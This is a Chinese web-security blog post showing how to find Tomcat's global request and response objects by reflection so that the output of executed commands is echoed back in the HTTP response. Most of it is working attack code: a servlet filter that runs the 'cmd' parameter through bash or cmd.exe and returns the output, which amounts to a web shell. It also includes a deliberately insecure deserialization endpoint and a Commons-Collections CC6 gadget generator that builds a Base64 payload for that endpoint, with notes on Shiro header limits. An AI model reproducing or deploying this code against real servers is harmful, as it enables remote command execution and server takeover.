F4DE F4DE
首页
技术
笔记
随笔
关于
友链
归档

F4DE

Web Security
首页
技术
笔记
随笔
关于
友链
归档
  • Java安全

    • Tomcat

      • Tomcat AJP协议漏洞
      • 基于Tomcat Response对象获取回显
      • 通过动态注册filter实现Tomcat内存🐎
      • 基于Tomcat全局存储进行回显
        • 寻找过程
        • 本地 Filter 测试
        • 反序列化接口测试
        • Shiro 测试
        • 最后
    • Shiro

    • 字节码

    • 反序列化

  • 技术
  • Java安全
  • Tomcat
F4DE
2021-04-16

基于Tomcat全局存储进行回显

# 基于全局全局存储获取Request 和 Response 对象

Reference:

  • 基于全局储存的新思路 | Tomcat的一种通用回显方法研究 (qq.com) (opens new window)
  • Java Web代码执行漏洞回显总结 | l3yx's blog (opens new window)

不寻求改变代码流程,而是通过寻找 Tomcat 全局存储的 Request 或 Response 对象,来写入命令执行的结果。

# 寻找过程

笔记

由于下面的截图不是在一次调试过程中截取的,所以对象可能会发生改变。

起一个Spring boot项目,观察调用栈,在Http11Processer中的request和response对象都来自于其父类AbstractProcessor,且为final,也就是说赋值之后对于对象的引用不会改变:

image-20210415235546528

往前看调用栈,在AbstractProtocol$ConnectionHandler这个内部类中对processor(也就是Http11Processor实例)进行了处理:

image-20210415235857196

跟进register方法:

image-20210416000634304

提取了当前processor的中的request对象中的requestInfo,其中也封装了一个req对象:

image-20210416000755750

然后将其放到global这个全局数组中:

image-20210416000858620

它里面是有一个储了requsetInfo对象的一个ArrayList对象:

image-20210416002951323

这个req对象和之前提到的Http11Processer中的request对象是同一个:

image-20210416001925304

image-20210416001931938

既然把同一个request对象放到了global中,所以我们尝试寻找存储了AbstractProtocol实例的地方,由于global对象是在内部类ConnectionHandler中,如果可以获取到AbstractProtocol对象,那么就能通过反射getHandler方法来获取到内部类ConnectionHandler的实例,进而获取global:

image-20210416002831375

所以到目前位置,寻找的思路如下图所示:

image-20210416003257326

怎么获取AbstractProtocol呢?接着往下看调用栈:

image-20210416003717982

在CoyoteAdapter类中有一个Connector对象:

image-20210416003805636

而在Connector中有一个类型为ProtocolHander类型的变量:

image-20210416003849567

这个类的继承关系图如下:

image-20210416004351183

我们要寻找的AbstractProtocol类就实现了这个接口,而在实际执行过程中,这个protocolHandler变量实际的类是Http11NioProtocol类,而这个类正好是AbstractProtocol的子类:

image-20210416004521420

由于多态的性质,所以我们获取到这个Http11NioProtocol对象之后,可以通过向上转型为AbstractProtocol类型,然后通过子类对象去访问我们需要的global。

这个Connector类是在org.apache.catalina包下的,Tomcat会最先加载这个包,所以我们到Tomcat启动过程中寻找一下Connector类的踪迹。如果熟悉Spring boot启动Tomcat服务器流程的话,可以知道在TomcatServletWebServerFactory#getWebServer方法中执行了addConnector方法:

image-20210416010421253

执行完之后就会把connector对象封装到StandardService对象中:

image-20210416010529838

网上的一些文章(包括原作者)认为Connector实例的添加是在下面的tomcat.setConnector(connector)中执行的,其实不准确,其逻辑如下:

image-20210416010722331

这里是进入不到if语句中的,因为在之前就执行了一次addConnector方法,那时候connector就添加完毕了。

之后Litch1师傅的思路就是通过WebappClassLoaderBase这个线程上下文类加载器于StrandardService来产生联系:

image-20210416124635857

关于这个类加载器的详细具体可以参考Tomcat的类加载机制。

简单来说,就是为了实现各webapp的资源隔离,打破了双亲委派机制,让每一个webapp有一个独有的类加载器来优先加载,而不是直接传递给其父加载器。

这个类加载器我们可以直接通过Thread.currentThread().getContextClassLoader()来直接获取到实例,所以整个寻找链也就完成了:

WebappClassLoaderBase --> 
	resources(StandardRoot) -->
		context(StandardContext) -->
			context(ApplicationContext) -->
				service(StandardService) -->
					connectors(Connector[]) -->
						protocolHandler(ProtocolHandler) -->
							(转型)protocolHandler(AbstractProtocol) -->
								(内部类)hanlder(AbstractProtocol$ConnectorHandler) -->
									global(RequestGroupInfo) -->
										processors(ArrayList) -->
											requestInfo(RequestInfo) -->
												req(org.apache.coyote.Request) --getNote-->
													request(org.apache.connector.Request) -->
														response(org.apache.connector.Response)

有一点需要注意的是,我们最后拿到的Request对象是org.apache.coyote.Request,而真正需要其实是org.apache.catalina.connector.Request对象,前者是是应用层对于请求-响应对象的底层实现,并不方便使用,通过调用其getNote方法可以得到后者:

image-20210416131051982

# 本地 Filter 测试

本地 filter 测试:

import org.apache.catalina.Context;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Scanner;

@WebFilter(filterName = "testFilter", urlPatterns = "/*")
public class Filter3 implements Filter {
    @Override
    public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain chain) throws IOException, ServletException {
        String cmd = null;
        try {
            WebappClassLoaderBase loader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            Context context = loader.getResources().getContext();
            // 获取 ApplicationContext
            Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            applicationContextField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(context);
            // 获取 StandardService
            Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            serviceField.setAccessible(true);
            StandardService standardService = (StandardService) serviceField.get(applicationContext);

            // 获取 Connector 并筛选 HTTP Connector
            Connector[] connectors = standardService.findConnectors();
            for (Connector connector : connectors) {
                if (connector.getScheme().contains("http")) {
                    // 获取 AbstractProtocol 对象
                    AbstractProtocol abstractProtocol = (AbstractProtocol) connector.getProtocolHandler();

                    // 获取 AbstractProtocol$ConnectionHandler
                    Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
                    getHandler.setAccessible(true);
                    AbstractEndpoint.Handler ConnectionHandler = (AbstractEndpoint.Handler) getHandler.invoke(abstractProtocol);

                    // global(RequestGroupInfo)
                    Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
                    globalField.setAccessible(true);
                    RequestGroupInfo global = (RequestGroupInfo) globalField.get(ConnectionHandler);

                    // processors (ArrayList)
                    Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                    processorsField.setAccessible(true);
                    ArrayList processors = (ArrayList) processorsField.get(global);

                    for (Object processor : processors) {
                        RequestInfo requestInfo = (RequestInfo) processor;
                        // 依据 QueryString 获取对应的 RequestInfo
                        if (requestInfo.getCurrentQueryString().contains("cmd")) {
                            Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                            reqField.setAccessible(true);
                            // org.apache.coyote.Request
                            Request requestTemp = (Request) reqField.get(requestInfo);
                            // org.apache.catalina.connector.Request
                            org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) requestTemp.getNote(1);

                            // 执行命令
                            cmd = request.getParameter("cmd");
                            String[] cmds = null;
                            if (cmd != null) {
                                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                                    cmds = new String[]{"cmd", "/c", cmd};
                                } else {
                                    cmds = new String[]{"/bin/bash", "-c", cmd};
                                }
                                InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
                                Scanner s = new Scanner(inputStream).useDelimiter("//A");
                                String output = s.hasNext() ? s.next() : "";
                                PrintWriter writer = request.getResponse().getWriter();
                                writer.write(output);
                                writer.flush();
                                writer.close();

                                break;
                            }
                        }
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

        chain.doFilter(request1, response1);
    }
}

SpringBoot 的入口方法需要添加注解 @ServletComponentScan 来让 filter 生效:

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.web.servlet.ServletComponentScan;

@SpringBootApplication
@ServletComponentScan
public class DemoApplication {

    public static void main(String[] args) {
        SpringApplication.run(DemoApplication.class, args);
    }

}

因为不需要改变代码运行流程,所以只需要请求一次,便可以获取命令执行的结果:

image-20210408010520659

# 反序列化接口测试

还是使用一个反序列接口来测试 payload:

import org.apache.tomcat.util.codec.binary.Base64;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;

@RestController
public class TestController {
    @RequestMapping("/testPayload")
    public String test(@RequestParam("payload") String payload) throws Exception {
        byte[] bytes = Base64.decodeBase64(payload);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
        objectInputStream.close();

        return payload;
    }
}

把上节 filter 的doFiler方法中的代码复制到一个类的static{}中,取名POC,然后使用 CC6 来生成 payload ,进行测试:

package src;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.tomcat.util.codec.binary.Base64;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        File file = new File("target/classes/src/POC.class");
        byte[] bytes = new byte[(int) file.length()];
        FileInputStream fileInputStream = new FileInputStream(file);
        fileInputStream.read(bytes);

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templates, "_name", "F4DE");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        // 先设置一个无害方法,防止在 Map#put 方法中触发Gadget
        Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);

        HashMap expMap = new HashMap();
        expMap.put(tiedMapEntry, "value");
        outerMap.clear();

        setFieldValue(invokerTransformer, "iMethodName", "newTransformer");

        // ======反序列化======
        ByteArrayOutputStream barr_out = new ByteArrayOutputStream();
        ObjectOutputStream ops = new ObjectOutputStream(barr_out);
        ops.writeObject(expMap);
        ops.close();

        System.out.println(Base64.encodeBase64String(barr_out.toByteArray()));
    }

    static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Class<?> clazz = Class.forName(obj.getClass().getName());
        Field field1 = clazz.getDeclaredField(field);
        field1.setAccessible(true);
        field1.set(obj, value);
    }
}

向目标接口发送 payload :

image-20210408012942998

# Shiro 测试

由于生成的 payload 太长,超过了 Shiro 中Header头部限制,所以产生了payload不可用的问题:

image-20210413211250950

Litch1师傅的解决思路如下:

测试shiro的时候,发现一个问题,生成的payload太长了 ,已经超过了Tomcat默认的max header的大小,经过一再缩减也没有成功,于是考虑通过改变Tomcat max header的大小解除限制,思路是改变org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,这个值会影响新的Request的inputBuffer时的对于header的限制,但是由于request的inputbuffer会复用,所以我们在修改完maxHeaderSize之后,需要多个连接同时访问,让tomcat新建request的inputbuffer,这时候的buffer的大小限制就会使用我们修改过后的值。

在上一篇文章中,我也给出了在Spring + shiro环境中通过动态类加载来解决的方式:通过动态类加载解决【通过Tomcat全局存储进行回显】在Shiro中的Header过长问题 (opens new window)

# 最后

不得不佩服这些大师傅们,太强了orz。

通过动态注册filter实现Tomcat内存🐎
Shiro权限绕过1

← 通过动态注册filter实现Tomcat内存🐎 Shiro权限绕过1→

最近更新
01
在Shiro中使用无CommonsCollections依赖的CommonsBeanUtils利用链
04-19
02
CommonsBeanUtils
04-19
03
通过动态类加载解决【通过Tomcat全局存储进行回显】在Shiro中的Header过长问题
04-13
更多文章>
Theme by Vdoing | Copyright © 2020-2021
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
×